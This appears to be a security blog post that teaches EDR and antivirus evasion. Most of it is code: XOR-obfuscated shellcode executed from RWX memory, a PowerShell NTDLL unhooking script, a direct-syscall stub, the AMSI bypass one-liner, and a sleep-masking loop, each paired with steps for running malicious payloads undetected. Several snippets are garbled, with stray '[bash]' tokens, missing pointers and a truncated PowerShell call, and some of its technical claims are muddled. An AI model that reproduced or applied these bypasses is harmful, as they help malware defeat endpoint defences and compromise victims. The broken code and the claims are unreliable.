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Introduction
Malware development is a cat-and-mouse game between attackers and defenders. As security tools like EDR (Endpoint Detection and Response) and antivirus software evolve, malware authors continuously refine their techniques to evade detection. This article explores proven evasion methods, command-line tricks, and code modifications that can bypass modern security solutions.
Learning Objectives
- Understand common detection mechanisms in EDR and antivirus software.
- Learn practical evasion techniques using obfuscation, API unhooking, and memory manipulation.
- Apply real-world commands and code snippets to test bypass methods.
You Should Know
1. Obfuscating Shellcode to Evade Static Analysis
Static analysis detects malicious payloads by scanning file signatures. Obfuscation makes the code unreadable to scanners.
Example (Using XOR Encryption in C):
include <windows.h>
include <stdio.h>
void XOR(char data, size_t data_len, char key, size_t key_len) {
for (int i = 0; i < data_len; i++) {
data[bash] ^= key[i % key_len];
}
}
int main() {
unsigned char shellcode[] = { 0x90, 0x90, 0xCC, 0xC3 }; // Example shellcode
char key[] = "SecretKey";
XOR((char )shellcode, sizeof(shellcode), key, sizeof(key));
// Execute decrypted shellcode in memory
void exec = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof(shellcode));
((void()())exec)();
return 0;
}
Steps:
1. XOR-encrypt the shellcode to avoid signature detection.
2. Allocate executable memory (`VirtualAlloc`).
- Decrypt and execute in memory to avoid disk-based scans.
2. Unhooking EDR Hooks to Bypass Monitoring
EDRs inject hooks into API calls to monitor suspicious activity. Unhooking restores original functions.
PowerShell Script to Unhook NTDLL:
$ntdll = <a href=":Copy(">System.Runtime.InteropServices.Marshal</a>::GetDelegateForFunctionPointer(
(Get-ProcAddress kernel32.dll LoadLibraryA),
[Func[String, IntPtr]]
).Invoke("ntdll.dll")
$originalBytes = [Byte[]] (0x4C, 0x8B, 0xD1, 0xB8...) Original NTDLL bytes
$originalBytes, 0,
(Get-ProcAddress $ntdll NtProtectVirtualMemory),
$originalBytes.Length
)
Steps:
1. Locate the hooked function in memory.
2. Overwrite hooked bytes with original function bytes.
- Restore legitimate API calls to evade EDR telemetry.
3. Process Injection via Indirect Syscalls
Direct API calls are logged; indirect syscalls bypass user-mode hooks.
C Code for Syscall Execution:
__declspec(naked) NTSTATUS NtAllocateVirtualMemory(
HANDLE ProcessHandle, PVOID BaseAddress,
ULONG_PTR ZeroBits, PSIZE_T RegionSize,
ULONG AllocationType, ULONG Protect
) {
__asm {
mov r10, rcx
mov eax, 0x18 // NtAllocateVirtualMemory syscall number
syscall
ret
}
}
Steps:
- Identify the syscall number for the desired function.
2. Invoke the syscall directly, bypassing `ntdll.dll` hooks.
3. Allocate memory without triggering EDR alerts.
4. Disabling Windows Defender via AMSI Bypass
AMSI (Antimalware Scan Interface) scans scripts and memory for malicious content.
PowerShell AMSI Bypass:
[bash].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField(
'amsiInitFailed', 'NonPublic,Static'
).SetValue($null, $true)
Steps:
1. Patch AMSI in-memory to disable scanning.
2. Execute malicious scripts without Defender interference.
5. Evading Behavioral Analysis with Sleep Masking
EDRs detect long sleep delays in malware. Time-stomping tricks bypass this.
C++ Sleep Masking Technique:
void FakeSleep(DWORD ms) {
DWORD start = GetTickCount();
while (GetTickCount() - start < ms) {
// Perform benign operations
for (int i = 0; i < 1000; i++);
}
}
Steps:
1. Replace `Sleep()` with a custom delay function.
2. Avoid sleep-based sandbox detection.
What Undercode Say
- Key Takeaway 1: Modern EDRs rely on both signatures and behavior analysis—evasion requires defeating both.
- Key Takeaway 2: Direct syscalls, memory encryption, and API unhooking are critical for bypassing advanced defenses.
Analysis:
As enterprises adopt AI-driven EDRs, malware authors must adapt with low-level techniques. The shift toward fileless attacks and in-memory execution will dominate future threats. Security teams must enhance detection for indirect syscalls and runtime obfuscation.
Prediction
Within two years, malware will increasingly use AI to dynamically alter evasion techniques, making static analysis obsolete. Defenders must adopt real-time memory forensics and machine learning to detect adversarial patterns.
IT/Security Reporter URL:
Reported By: Jehadabudagga Malware – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
